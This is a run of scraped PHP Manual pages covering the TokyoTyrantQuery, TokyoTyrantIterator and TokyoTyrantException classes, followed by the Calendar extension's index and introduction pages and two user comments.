  • « TokyoTyrantQuery::addCond
  • TokyoTyrantQuery::count »
  • PHP Manual
  • TokyoTyrantQuery
  • Construct a new query

TokyoTyrantQuery::__construct

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantQuery::__construct — Construct a new query

Description

public TokyoTyrantQuery::__construct ( TokyoTyrantTable $table )

Construct a new query object

Parameters

table

TokyoTyrantTable object with active database connection

Return Values

Returns a new TokyoTyrantQuery object and throws TokyoTyrantException on error

Examples

Example #1 TokyoTyrantQuery::__construct() example

<?php
$tt = new TokyoTyrantTable("localhost", 1979);

$query = new TokyoTyrantQuery($tt);

/* Work with $query */
?>

See Also

  • TokyoTyrantTable::getQuery() - Get a query object

User Contributed Notes

There are no user contributed notes for this page.


Counts records

  • « TokyoTyrantQuery::__construct
  • TokyoTyrantQuery::current »
  • PHP Manual
  • TokyoTyrantQuery
  • Counts records

TokyoTyrantQuery::count

(No version information available, might only be in Git)

TokyoTyrantQuery::count — Counts records

Description

public int TokyoTyrantQuery::count ( void )

Returns a count of how many records a query returns.

Parameters

This function has no parameters.

Return Values

Returns a count of matching rows and throws TokyoTyrantException on error

Examples

Example #1 TokyoTyrantQuery::count() example

<?php
/* Connect to a table database */
$tt = new TokyoTyrantTable("localhost", 1979);

/* Add rows */
$tt->put(null, array("column1" => "some data", "column2" => "something here"));
$tt->put(null, array("column1" => "more data", "column2" => "best data this far"));
$tt->put(null, array("column1" => "again data", "column3" => "not here"));
$tt->put(null, array("column45" => "random data", "column2" => "something along the lines"));
$tt->put(null, array("column21" => "test data", "column2" => "generating.."));
$tt->put(null, array("column1" => "foobar data", "column2" => "value here"));

/* Get a new query object */
$query = $tt->getQuery();

/* Add a search condition */
$query->addCond("column2", TokyoTyrant::RDBQC_STROR, "something");

/* Count the results */
var_dump($query->count());
?>

The above example will output:

int(2)

See Also

  • TokyoTyrantQuery::out() - Removes records based on query
  • TokyoTyrantQuery::search() - Searches records
  • TokyoTyrantQuery::metaSearch() - Retrieve records with multiple queries

User Contributed Notes

There are no user contributed notes for this page.


Returns the current element

  • « TokyoTyrantQuery::count
  • TokyoTyrantQuery::hint »
  • PHP Manual
  • TokyoTyrantQuery
  • Returns the current element

TokyoTyrantQuery::current

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantQuery::current — Returns the current element

Description

public array TokyoTyrantQuery::current ( void )

Returns the current element. Part of Iterator interface

Parameters

This function has no parameters.

Return Values

Returns the current row

Examples

Example #1 TokyoTyrantQuery iterator example

<?php
/* Connect to a table database */
$tt = new TokyoTyrantTable("localhost", 1979);

/* Add rows */
$tt->put(null, array("column1" => "some data", "column2" => "something here"));
$tt->put(null, array("column1" => "more data", "column2" => "best data this far"));
$tt->put(null, array("column1" => "again data", "column3" => "foobar here"));
$tt->put(null, array("column45" => "random data", "column2" => "something along the lines"));
$tt->put(null, array("column21" => "test data", "column2" => "generating.."));
$tt->put(null, array("column1" => "foobar data", "column2" => "value here"));

/* Get a new query object */
$query = $tt->getQuery();

/* Add a search condition */
$query->addCond("column2", TokyoTyrant::RDBQC_STROR, "something");

/* Iterate the results */
foreach ($query as $key => $value) {
    echo "pk: $key, columns: ", count($value) ,"\n";
}
?>

The above example will output something similar to:

pk: 1, columns: 2
pk: 4, columns: 2

See Also

  • TokyoTyrantQuery::addCond() - Adds a condition to the query

User Contributed Notes

There are no user contributed notes for this page.


Get the hint string of the query

  • « TokyoTyrantQuery::current
  • TokyoTyrantQuery::key »
  • PHP Manual
  • TokyoTyrantQuery
  • Get the hint string of the query

TokyoTyrantQuery::hint

(No version information available, might only be in Git)

TokyoTyrantQuery::hint — Get the hint string of the query

Description

public string TokyoTyrantQuery::hint ( void )

Get the hint string of the query. The hint string contains information about an executed query and it could be compared to for example MySQL EXPLAIN statement.

Parameters

This function has no parameters.

Return Values

This method always returns a string

Examples

Example #1 TokyoTyrantQuery::hint example

<?php
$tt = new TokyoTyrantTable("localhost", 1979);
$tt->vanish();

for ($i = 0; $i < 11; $i++) {
     $tt->put(null, array('a_col' => 'a' . $i, 'b_col' => 'b' . $i));
}

$query = $tt->getQuery();
$query->addCond('a_col', TokyoTyrant::RDBQC_STRBW, 'a');

$query->search();
var_dump($query->hint());
?>

The above example will output something similar to:

string(72) "
scanning the whole table
result set size: 11
leaving the natural order
"

See Also

  • TokyoTyrantQuery::addCond() - Adds a condition to the query

User Contributed Notes

There are no user contributed notes for this page.


Returns the current key

  • « TokyoTyrantQuery::hint
  • TokyoTyrantQuery::metaSearch »
  • PHP Manual
  • TokyoTyrantQuery
  • Returns the current key

TokyoTyrantQuery::key

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantQuery::key — Returns the current key

Description

public string TokyoTyrantQuery::key ( void )

Returns the current key. Part of the Iterator interface

Parameters

This function has no parameters.

Return Values

Returns the current key and throws TokyoTyrantException on error

Examples

Example #1 TokyoTyrantQuery iterator example

<?php
/* Connect to a table database */
$tt = new TokyoTyrantTable("localhost", 1979);

/* Add rows */
$tt->put(null, array("column1" => "some data", "column2" => "something here"));
$tt->put(null, array("column1" => "more data", "column2" => "best data this far"));
$tt->put(null, array("column1" => "again data", "column3" => "foobar here"));
$tt->put(null, array("column45" => "random data", "column2" => "something along the lines"));
$tt->put(null, array("column21" => "test data", "column2" => "generating.."));
$tt->put(null, array("column1" => "foobar data", "column2" => "value here"));

/* Get a new query object */
$query = $tt->getQuery();

/* Add a search condition */
$query->addCond("column2", TokyoTyrant::RDBQC_STROR, "something");

/* Iterate the results */
foreach ($query as $key => $value) {
    echo "pk: $key, columns: ", count($value) ,"\n";
}
?>

The above example will output something similar to:

pk: 1, columns: 2
pk: 4, columns: 2

See Also

  • TokyoTyrantQuery::addCond() - Adds a condition to the query

User Contributed Notes

There are no user contributed notes for this page.


Retrieve records with multiple queries

  • « TokyoTyrantQuery::key
  • TokyoTyrantQuery::next »
  • PHP Manual
  • TokyoTyrantQuery
  • Retrieve records with multiple queries

TokyoTyrantQuery::metaSearch

(No version information available, might only be in Git)

TokyoTyrantQuery::metaSearch — Retrieve records with multiple queries

Description

public array TokyoTyrantQuery::metaSearch ( array $queries , int $type )

Executes multiple queries on a database and returns matching records. The current object is always the left most object in the search.

Parameters

queries

Array of TokyoTyrantQuery objects

type

One of the TokyoTyrant::RDBMS_* constants

Return Values

Returns the matching rows and throws TokyoTyrantException on error

Examples

Example #1 TokyoTyrantQuery::metaSearch() example

<?php
/* Connect to a table database */
$tt = new TokyoTyrantTable("localhost", 1979);

/* Add test data */
$tt->put('cherry',     array('color' => 'red'));
$tt->put('strawberry', array('color' => 'red'));
$tt->put('apple',      array('color' => 'green'));
$tt->put('lemon',      array('color' => 'yellow'));

/* First query */
$query = $tt->getQuery();
$query->addCond('color', TokyoTyrant::RDBQC_STREQ, 'red')->setOrder('color', TokyoTyrant::RDBQO_STRASC);

/* Second query */
$query1 = $tt->getQuery();
$query1->addCond('color', TokyoTyrant::RDBQC_STREQ, 'yellow');

/* Get union between the queries */
var_dump($query->metaSearch(array($query1), TokyoTyrant::RDBMS_UNION));
?>

The above example will output:

array(3) {
  ["cherry"]=>
  array(1) {
    ["color"]=>
    string(3) "red"
  }
  ["strawberry"]=>
  array(1) {
    ["color"]=>
    string(3) "red"
  }
  ["lemon"]=>
  array(1) {
    ["color"]=>
    string(6) "yellow"
  }
}

See Also

  • TokyoTyrantQuery::search() - Searches records

User Contributed Notes

There are no user contributed notes for this page.


Moves the iterator to next entry

  • « TokyoTyrantQuery::metaSearch
  • TokyoTyrantQuery::out »
  • PHP Manual
  • TokyoTyrantQuery
  • Moves the iterator to next entry

TokyoTyrantQuery::next

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantQuery::next — Moves the iterator to next entry

Description

public array TokyoTyrantQuery::next ( void )

Returns the next result in the resultset. Part of the Iterator interface.

Parameters

This function has no parameters.

Return Values

Returns the next row and throws TokyoTyrantException on error.

Examples

Example #1 TokyoTyrantQuery iterator example

<?php
/* Connect to a table database */
$tt = new TokyoTyrantTable("localhost", 1979);

/* Add rows */
$tt->put(null, array("column1" => "some data", "column2" => "something here"));
$tt->put(null, array("column1" => "more data", "column2" => "best data this far"));
$tt->put(null, array("column1" => "again data", "column3" => "foobar here"));
$tt->put(null, array("column45" => "random data", "column2" => "something along the lines"));
$tt->put(null, array("column21" => "test data", "column2" => "generating.."));
$tt->put(null, array("column1" => "foobar data", "column2" => "value here"));

/* Get a new query object */
$query = $tt->getQuery();

/* Add a search condition */
$query->addCond("column2", TokyoTyrant::RDBQC_STROR, "something");

/* Iterate the results */
foreach ($query as $key => $value) {
    echo "pk: $key, columns: ", count($value) ,"\n";
}
?>

The above example will output something similar to:

pk: 1, columns: 2
pk: 4, columns: 2

See Also

  • TokyoTyrantQuery::addCond() - Adds a condition to the query

User Contributed Notes

There are no user contributed notes for this page.


Removes records based on query

  • « TokyoTyrantQuery::next
  • TokyoTyrantQuery::rewind »
  • PHP Manual
  • TokyoTyrantQuery
  • Removes records based on query

TokyoTyrantQuery::out

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantQuery::out — Removes records based on query

Description

public TokyoTyrantQuery TokyoTyrantQuery::out ( void )

Removes all records that match the query. Works exactly like search but removes the records instead of returning them.

Parameters

This function has no parameters.

Return Values

This method returns the current object and throws TokyoTyrantException on failure.

Examples

Example #1 TokyoTyrantQuery::out() example

<?php
/* Connect to a table database */
$tt = new TokyoTyrantTable("localhost", 1979);

/* Add rows */
$tt->put(null, array("column1" => "some data", "column2" => "something here"));
$tt->put(null, array("column1" => "more data", "column2" => "best data this far"));
$tt->put(null, array("column1" => "again data", "column3" => "foobar here"));
$tt->put(null, array("column45" => "random data", "column2" => "something along the lines"));
$tt->put(null, array("column21" => "test data", "column2" => "generating.."));
$tt->put(null, array("column1" => "foobar data", "column2" => "value here"));

/* Get a new query object */
$query = $tt->getQuery();

/* Add a search condition */
$query->addCond("column2", TokyoTyrant::RDBQC_STROR, "something");

/* Remove matching records */
$query->out();
?>

See Also

  • TokyoTyrantQuery::addCond() - Adds a condition to the query

User Contributed Notes

There are no user contributed notes for this page.


Rewinds the iterator

  • « TokyoTyrantQuery::out
  • TokyoTyrantQuery::search »
  • PHP Manual
  • TokyoTyrantQuery
  • Rewinds the iterator

TokyoTyrantQuery::rewind

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantQuery::rewind — Rewinds the iterator

Description

public bool TokyoTyrantQuery::rewind ( void )

Rewind the resultset and executes the query if it has not been executed. Part of the Iterator interface.

Parameters

This function has no parameters.

Return Values

Returns TRUE

Examples

Example #1 TokyoTyrantQuery iterator example

<?php
/* Connect to a table database */
$tt = new TokyoTyrantTable("localhost", 1979);

/* Add rows */
$tt->put(null, array("column1" => "some data", "column2" => "something here"));
$tt->put(null, array("column1" => "more data", "column2" => "best data this far"));
$tt->put(null, array("column1" => "again data", "column3" => "foobar here"));
$tt->put(null, array("column45" => "random data", "column2" => "something along the lines"));
$tt->put(null, array("column21" => "test data", "column2" => "generating.."));
$tt->put(null, array("column1" => "foobar data", "column2" => "value here"));

/* Get a new query object */
$query = $tt->getQuery();

/* Add a search condition */
$query->addCond("column2", TokyoTyrant::RDBQC_STROR, "something");

/* Iterate the results */
foreach ($query as $key => $value) {
    echo "pk: $key, columns: ", count($value) ,"\n";
}
?>

The above example will output something similar to:

pk: 1, columns: 2
pk: 4, columns: 2

See Also

  • TokyoTyrantQuery::addCond() - Adds a condition to the query

User Contributed Notes

There are no user contributed notes for this page.


Searches records

  • « TokyoTyrantQuery::rewind
  • TokyoTyrantQuery::setLimit »
  • PHP Manual
  • TokyoTyrantQuery
  • Searches records

TokyoTyrantQuery::search

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantQuery::search — Searches records

Description

public array TokyoTyrantQuery::search ( void )

Executes a search on the table database. Returns an array of arrays containing the matching records. In the returned array the first level is the primary key of the data and the second level is the row data.

Parameters

This function has no parameters.

Return Values

Returns the matching rows and throws TokyoTyrantException on error

Examples

Example #1 TokyoTyrantQuery::search() example

<?php
/* Connect to a table database */
$tt = new TokyoTyrantTable("localhost", 1979);

/* Add rows */
$tt->put(null, array("column1" => "some data", "column2" => "something here"));
$tt->put(null, array("column1" => "more data", "column2" => "best data this far"));
$tt->put(null, array("column1" => "again data", "column3" => "not here"));
$tt->put(null, array("column45" => "random data", "column2" => "something along the lines"));
$tt->put(null, array("column21" => "test data", "column2" => "generating.."));
$tt->put(null, array("column1" => "foobar data", "column2" => "value here"));

/* Get a new query object */
$query = $tt->getQuery();

/* Add a search condition */
$query->addCond("column2", TokyoTyrant::RDBQC_STROR, "something");

/* Dump the search results */
var_dump($query->search());
?>

The above example will output:

array(2) {
  [1]=>
  array(2) {
    ["column1"]=>
    string(9) "some data"
    ["column2"]=>
    string(14) "something here"
  }
  [4]=>
  array(2) {
    ["column45"]=>
    string(11) "random data"
    ["column2"]=>
    string(25) "something along the lines"
  }
}

See Also

  • TokyoTyrantQuery::out() - Removes records based on query
  • TokyoTyrantQuery::metaSearch() - Retrieve records with multiple queries

User Contributed Notes

There are no user contributed notes for this page.


Limit results

  • « TokyoTyrantQuery::search
  • TokyoTyrantQuery::setOrder »
  • PHP Manual
  • TokyoTyrantQuery
  • Limit results

TokyoTyrantQuery::setLimit

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantQuery::setLimit — Limit results

Description

public mixed TokyoTyrantQuery::setLimit ([ int $max [, int $skip ]] )

Set the maximum amount of records to return on a query.

Parameters

max

Maximum amount of records. Default: -1

skip

How many records to skip from the start. Default: -1

Return Values

This method returns the current object and throws TokyoTyrantException on failure.

User Contributed Notes

There are no user contributed notes for this page.


Orders results

  • « TokyoTyrantQuery::setLimit
  • TokyoTyrantQuery::valid »
  • PHP Manual
  • TokyoTyrantQuery
  • Orders results

TokyoTyrantQuery::setOrder

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantQuery::setOrder — Orders results

Description

public mixed TokyoTyrantQuery::setOrder ( string $name , int $type )

Sets the order of a query

Parameters

name

The column name to apply the ordering on.

type

The type can be one of the following constants:

  • TokyoTyrant::RDBQO_STRASC - String ascending
  • TokyoTyrant::RDBQO_STRDESC - String descending
  • TokyoTyrant::RDBQO_NUMASC - Numberic ascending
  • TokyoTyrant::RDBQO_NUMDESC - String descending

Return Values

This method returns the current object.

User Contributed Notes

There are no user contributed notes for this page.


Checks the validity of current item

  • « TokyoTyrantQuery::setOrder
  • TokyoTyrantIterator »
  • PHP Manual
  • TokyoTyrantQuery
  • Checks the validity of current item

TokyoTyrantQuery::valid

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrantQuery::valid — Checks the validity of current item

Description

public bool TokyoTyrantQuery::valid ( void )

Checks if the current item is valid. Part of the Iterator interface

Parameters

This function has no parameters.

Return Values

Returns TRUE if the current item is valid and FALSE if not.

Examples

Example #1 TokyoTyrantQuery iterator example

<?php
/* Connect to a table database */
$tt = new TokyoTyrantTable("localhost", 1979);

/* Add rows */
$tt->put(null, array("column1" => "some data", "column2" => "something here"));
$tt->put(null, array("column1" => "more data", "column2" => "best data this far"));
$tt->put(null, array("column1" => "again data", "column3" => "foobar here"));
$tt->put(null, array("column45" => "random data", "column2" => "something along the lines"));
$tt->put(null, array("column21" => "test data", "column2" => "generating.."));
$tt->put(null, array("column1" => "foobar data", "column2" => "value here"));

/* Get a new query object */
$query = $tt->getQuery();

/* Add a search condition */
$query->addCond("column2", TokyoTyrant::RDBQC_STROR, "something");

/* Iterate the results */
foreach ($query as $key => $value) {
    echo "pk: $key, columns: ", count($value) ,"\n";
}
?>

The above example will output something similar to:

pk: 1, columns: 2
pk: 4, columns: 2

See Also

  • TokyoTyrantQuery::addCond() - Adds a condition to the query

User Contributed Notes

There are no user contributed notes for this page.


The TokyoTyrantIterator class

(PECL tokyo_tyrant >= 0.2.0)

Introduction

Provides an iterator for TokyoTyrant and TokyoTyrantTable objects. The iterator iterates over all keys and values in the database. TokyoTyrantIterator was added in version 0.2.0.

Class synopsis

TokyoTyrantIterator implements Iterator {
/* Methods */
public __construct ( mixed $object )
public mixed current ( void )
public mixed key ( void )
public mixed next ( void )
public void rewind ( void )
public bool valid ( void )
/* Inherited methods */
public number TokyoTyrant::add ( string $key , number $increment [, int $type = 0 ] )
public TokyoTyrant TokyoTyrant::connect ( string $host [, int $port = TokyoTyrant::RDBDEF_PORT [, array $options ]] )
public TokyoTyrant TokyoTyrant::connectUri ( string $uri )
public TokyoTyrant::__construct ([ string $host [, int $port = TokyoTyrant::RDBDEF_PORT [, array $options ]]] )
public TokyoTyrant TokyoTyrant::copy ( string $path )
public string TokyoTyrant::ext ( string $name , int $options , string $key , string $value )
public array TokyoTyrant::fwmKeys ( string $prefix , int $max_recs )
public mixed TokyoTyrant::get ( mixed $keys )
public TokyoTyrantIterator TokyoTyrant::getIterator ( void )
public int TokyoTyrant::num ( void )
public TokyoTyrant TokyoTyrant::out ( mixed $keys )
public TokyoTyrant TokyoTyrant::put ( mixed $keys [, string $value = NULL ] )
public TokyoTyrant TokyoTyrant::putCat ( mixed $keys [, string $value ] )
public TokyoTyrant TokyoTyrant::putKeep ( mixed $keys [, string $value ] )
public TokyoTyrant TokyoTyrant::putNr ( mixed $keys [, string $value = NULL ] )
public mixed TokyoTyrant::putShl ( string $key , string $value , int $width )
public mixed TokyoTyrant::restore ( string $log_dir , int $timestamp [, bool $check_consistency = true ] )
public mixed TokyoTyrant::setMaster ( string $host , int $port , int $timestamp [, bool $check_consistency = true ] )
public int TokyoTyrant::size ( string $key )
public array TokyoTyrant::stat ( void )
public mixed TokyoTyrant::sync ( void )
public TokyoTyrant TokyoTyrant::tune ( float $timeout [, int $options = TokyoTyrant::RDBT_RECON ] )
public mixed TokyoTyrant::vanish ( void )
}

Table of Contents

  • TokyoTyrantIterator::__construct — Construct an iterator
  • TokyoTyrantIterator::current — Get the current value
  • TokyoTyrantIterator::key — Returns the current key
  • TokyoTyrantIterator::next — Move to next key
  • TokyoTyrantIterator::rewind — Rewinds the iterator
  • TokyoTyrantIterator::valid — Rewinds the iterator

User Contributed Notes

There are no user contributed notes for this page.


Construct an iterator

  • « TokyoTyrantIterator
  • TokyoTyrantIterator::current »
  • PHP Manual
  • TokyoTyrantIterator
  • Construct an iterator

TokyoTyrantIterator::__construct

(PECL tokyo_tyrant >= 0.2.0)

TokyoTyrantIterator::__construct — Construct an iterator

Description

public TokyoTyrantIterator::__construct ( mixed $object )

Construct a new TokyoTyrantIterator object. One connection can have multiple iterators but it is not quaranteed that all items are traversed in that case. object parameter can be either an of instance TokyoTyrant or TokyoTyrantTable.

Parameters

This function has no parameters.

Return Values

Throws an exception if iterator initialization fails.

Examples

Example #1 TokyoTyrantIterator::__construct() example

<?php
/* Connect to a table database */
$tt = new TokyoTyrantTable("localhost", 1979);

/* Passing null to put generates a new uid */
$index = $tt->put(null, array("column1" => "some data", "column2" => "more data"));

/* Construct an iterator */
$it = new TokyoTyrantIterator($tt);

foreach ($it as $value) {
    var_dump($value);
}
?>

The above example will output:

array(2) {
  ["column1"]=>
  string(9) "some data"
  ["column2"]=>
  string(9) "more data"
}

See Also

  • TokyoTyrantIterator::key() - Returns the current key
  • TokyoTyrantIterator::current() - Get the current value
  • TokyoTyrantIterator::next() - Move to next key
  • TokyoTyrantIterator::rewind() - Rewinds the iterator
  • TokyoTyrantIterator::key() - Returns the current key

User Contributed Notes

There are no user contributed notes for this page.


Get the current value

  • « TokyoTyrantIterator::__construct
  • TokyoTyrantIterator::key »
  • PHP Manual
  • TokyoTyrantIterator
  • Get the current value

TokyoTyrantIterator::current

(PECL tokyo_tyrant >= 0.2.0)

TokyoTyrantIterator::current — Get the current value

Description

public mixed TokyoTyrantIterator::current ( void )

Returns the current value during iteration.

Parameters

This function has no parameters.

Return Values

Returns the current value on success and false on failure.

See Also

  • TokyoTyrantIterator::valid() - Rewinds the iterator
  • TokyoTyrantIterator::key() - Returns the current key
  • TokyoTyrantIterator::next() - Move to next key
  • TokyoTyrantIterator::rewind() - Rewinds the iterator

User Contributed Notes

There are no user contributed notes for this page.


Returns the current key

  • « TokyoTyrantIterator::current
  • TokyoTyrantIterator::next »
  • PHP Manual
  • TokyoTyrantIterator
  • Returns the current key

TokyoTyrantIterator::key

(PECL tokyo_tyrant >= 0.2.0)

TokyoTyrantIterator::key — Returns the current key

Description

public mixed TokyoTyrantIterator::key ( void )

Returns the current key.

Parameters

This function has no parameters.

Return Values

Returns the current key on success and false on failure.

See Also

  • TokyoTyrantIterator::valid() - Rewinds the iterator
  • TokyoTyrantIterator::current() - Get the current value
  • TokyoTyrantIterator::next() - Move to next key
  • TokyoTyrantIterator::rewind() - Rewinds the iterator

User Contributed Notes

There are no user contributed notes for this page.


Move to next key

  • « TokyoTyrantIterator::key
  • TokyoTyrantIterator::rewind »
  • PHP Manual
  • TokyoTyrantIterator
  • Move to next key

TokyoTyrantIterator::next

(PECL tokyo_tyrant >= 0.2.0)

TokyoTyrantIterator::next — Move to next key

Description

public mixed TokyoTyrantIterator::next ( void )

Move to next key during iteration and return it's value.

Parameters

This function has no parameters.

Return Values

Returns the next value on success and false on failure.

See Also

  • TokyoTyrantIterator::valid() - Rewinds the iterator
  • TokyoTyrantIterator::key() - Returns the current key
  • TokyoTyrantIterator::current() - Get the current value
  • TokyoTyrantIterator::rewind() - Rewinds the iterator

User Contributed Notes

There are no user contributed notes for this page.


Rewinds the iterator

  • « TokyoTyrantIterator::next
  • TokyoTyrantIterator::valid »
  • PHP Manual
  • TokyoTyrantIterator
  • Rewinds the iterator

TokyoTyrantIterator::rewind

(PECL tokyo_tyrant >= 0.2.0)

TokyoTyrantIterator::rewind — Rewinds the iterator

Description

public void TokyoTyrantIterator::rewind ( void )

Rewinds the iterator for new iteration. Called automatically at the beginning of foreach.

Parameters

This function has no parameters.

Return Values

Throws TokyoTyrantException if iterator initialization fails.

See Also

  • TokyoTyrantIterator::valid() - Rewinds the iterator
  • TokyoTyrantIterator::current() - Get the current value
  • TokyoTyrantIterator::next() - Move to next key
  • TokyoTyrantIterator::rewind()

User Contributed Notes

There are no user contributed notes for this page.


Rewinds the iterator

  • « TokyoTyrantIterator::rewind
  • TokyoTyrantException »
  • PHP Manual
  • TokyoTyrantIterator
  • Rewinds the iterator

TokyoTyrantIterator::valid

(PECL tokyo_tyrant >= 0.2.0)

TokyoTyrantIterator::valid — Rewinds the iterator

Description

public bool TokyoTyrantIterator::valid ( void )

Checks whether the internal pointer points to valid element.

Parameters

This function has no parameters.

Return Values

Returns TRUE if the current item is valid and FALSE if not.

See Also

  • TokyoTyrantIterator::key() - Returns the current key
  • TokyoTyrantIterator::current() - Get the current value
  • TokyoTyrantIterator::next() - Move to next key
  • TokyoTyrantIterator::rewind() - Rewinds the iterator

User Contributed Notes

There are no user contributed notes for this page.


The TokyoTyrantException class

(PECL tokyo_tyrant >= 0.1.0)

Introduction

TokyoTyrantException

Class synopsis

tokyotyrantexception extends Exception {
/* Properties */
protected int $code ;
/* Inherited properties */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
/* Inherited methods */
final public string Exception::getMessage ( void )
final public Exception Exception::getPrevious ( void )
final public mixed Exception::getCode ( void )
final public string Exception::getFile ( void )
final public int Exception::getLine ( void )
final public array Exception::getTrace ( void )
final public string Exception::getTraceAsString ( void )
public string Exception::__toString ( void )
final private void Exception::__clone ( void )
}

Properties

code

The exception code. This can be compared to TokyoTyrant::TTE_* constants

User Contributed Notes

There are no user contributed notes for this page.


Date and Time Related Extensions

  • Calendar
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Calendar Functions
  • Date/Time — Date and Time
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • DateTime — The DateTime class
    • DateTimeImmutable — The DateTimeImmutable class
    • DateTimeInterface — The DateTimeInterface interface
    • DateTimeZone — The DateTimeZone class
    • DateInterval — The DateInterval class
    • DatePeriod — The DatePeriod class
    • Date/Time Functions
    • Supported Date and Time Formats
    • List of Supported Timezones
  • HRTime — High resolution timing
    • Introduction
    • Installing/Configuring
    • Examples
    • HRTime\PerformanceCounter — The HRTime\PerformanceCounter class
    • HRTime\StopWatch — The HRTime\StopWatch class
    • HRTime\Unit — The HRTime\Unit class

User Contributed Notes

There are no user contributed notes for this page.


Calendar

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Calendar Functions
    • cal_days_in_month — Return the number of days in a month for a given year and calendar
    • cal_from_jd — Converts from Julian Day Count to a supported calendar
    • cal_info — Returns information about a particular calendar
    • cal_to_jd — Converts from a supported calendar to Julian Day Count
    • easter_date — Get Unix timestamp for midnight on Easter of a given year
    • easter_days — Get number of days after March 21 on which Easter falls for a given year
    • FrenchToJD — Converts a date from the French Republican Calendar to a Julian Day Count
    • GregorianToJD — Converts a Gregorian date to Julian Day Count
    • JDDayOfWeek — Returns the day of the week
    • JDMonthName — Returns a month name
    • JDToFrench — Converts a Julian Day Count to the French Republican Calendar
    • JDToGregorian — Converts Julian Day Count to Gregorian date
    • jdtojewish — Converts a Julian day count to a Jewish calendar date
    • JDToJulian — Converts a Julian Day Count to a Julian Calendar Date
    • jdtounix — Convert Julian Day to Unix timestamp
    • JewishToJD — Converts a date in the Jewish Calendar to Julian Day Count
    • JulianToJD — Converts a Julian Calendar date to Julian Day Count
    • unixtojd — Convert Unix timestamp to Julian Day

User Contributed Notes

There are no user contributed notes for this page.


Introduction

The calendar extension presents a series of functions to simplify converting between different calendar formats. The intermediary or standard it is based on is the Julian Day Count. The Julian Day Count is a count of days starting from January 1st, 4713 B.C. To convert between calendar systems, you must first convert to Julian Day Count, then to the calendar system of your choice. Julian Day Count is very different from the Julian Calendar! For more information on Julian Day Count, visit » http://www.hermetic.ch/cal_stud/jdn.htm. For more information on calendar systems visit » http://www.fourmilab.ch/documents/calendar/. Excerpts from this page are included in these instructions, and are in quotes.

User Contributed Notes

There are no user contributed notes for this page.


Installation

To get these functions to work, you have to compile PHP with --enable-calendar .

The Windows version of PHP has built-in support for this extension. You do not need to load any additional extensions in order to use these functions.

User Contributed Notes

CoderUA at example dot com 04-Dec-2011 11:55
FreeBSD Installation for PHP5:

Installation from packages:
pkg_add php5-calendar

Installation from ports:
cd /usr/ports/misc/php5-calendar && make install clean

Then to enable this module, add the following to php.ini (usually in /usr/local/etc/php/extensions.ini)

    extension=calendar.so


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

CAL_GREGORIAN (integer)
CAL_JULIAN (integer)
CAL_JEWISH (integer)
CAL_FRENCH (integer)
CAL_NUM_CALS (integer)
CAL_DOW_DAYNO (integer)
CAL_DOW_SHORT (integer)
CAL_DOW_LONG (integer)
CAL_MONTH_GREGORIAN_SHORT (integer)
CAL_MONTH_GREGORIAN_LONG (integer)
CAL_MONTH_JULIAN_SHORT (integer)
CAL_MONTH_JULIAN_LONG (integer)
CAL_MONTH_JEWISH (integer)
CAL_MONTH_FRENCH (integer)

The following constants are available since PHP 4.3.0 :

CAL_EASTER_DEFAULT (integer)
CAL_EASTER_ROMAN (integer)
CAL_EASTER_ALWAYS_GREGORIAN (integer)
CAL_EASTER_ALWAYS_JULIAN (integer)

The following constants are available since PHP 5.0.0 :

CAL_JEWISH_ADD_ALAFIM_GERESH (integer)
CAL_JEWISH_ADD_ALAFIM (integer)
CAL_JEWISH_ADD_GERESHAYIM (integer)

User Contributed Notes

There are no user contributed notes for this page.


Calendar Functions

Table of Contents

  • cal_days_in_month â€” Return the number of days in a month for a given year and calendar
  • cal_from_jd â€” Converts from Julian Day Count to a supported calendar
  • cal_info â€” Returns information about a particular calendar
  • cal_to_jd â€” Converts from a supported calendar to Julian Day Count
  • easter_date â€” Get Unix timestamp for midnight on Easter of a given year
  • easter_days â€” Get number of days after March 21 on which Easter falls for a given year
  • FrenchToJD â€” Converts a date from the French Republican Calendar to a Julian Day Count
  • GregorianToJD â€” Converts a Gregorian date to Julian Day Count
  • JDDayOfWeek â€” Returns the day of the week
  • JDMonthName â€” Returns a month name
  • JDToFrench â€” Converts a Julian Day Count to the French Republican Calendar
  • JDToGregorian â€” Converts Julian Day Count to Gregorian date
  • jdtojewish â€” Converts a Julian day count to a Jewish calendar date
  • JDToJulian â€” Converts a Julian Day Count to a Julian Calendar Date
  • jdtounix â€” Convert Julian Day to Unix timestamp
  • JewishToJD â€” Converts a date in the Jewish Calendar to Julian Day Count
  • JulianToJD â€” Converts a Julian Calendar date to Julian Day Count
  • unixtojd â€” Convert Unix timestamp to Julian Day

User Contributed Notes

simon at chronolabs dot org dot au 20-Nov-2007 09:20
<?php

// You need to replace this section in Function EgyptianCalendar
// As well as Function MayanTihkalCalendar
$revolutionsperyear = $ttl_num / $i;
$numyears = floor((ceil($roun) / $revolutionsperyear));
$avg_num_month = $ttl_num_months/$i;
$jtl = abs(abs($roun) - ceil($revolutionsperyear*($numyears+1)));
while($month==0){
    $day=0;
    $u=0;
    foreach($monthusage as $key => $item){
        $t=0;
        foreach($item as $numdays){
            $t++;
            $tt=0;
            for($sh=1;$sh<=$numdays;$sh++){
                $ii=$ii+1;
                $tt++;
                if ($ii==floor($jtl)){
                    if ($roun<0){
                        $daynum = $tt;
                        $month = $t;
                    } else {
                        $daynum = $numdays-($tt-1);
                        $month = $avg_num_month-($t-1);
                    }
                    $sequence = $key;
                    $nodaycount=true;
                }
            }
            if ($nodaycount==false)
                $day++;
        }
        $u++;
    }
}
?>

This section of code need to be changed in the calculation I noticed today in our RounCalendar we had a zero day this function will calculate the month and day correctly for the calendars, it is a pretty universe piece of code, I am sorry it wasn't properly tested and need some refactoring.
simon at chronolabs dot org dot au 09-Nov-2007 08:44
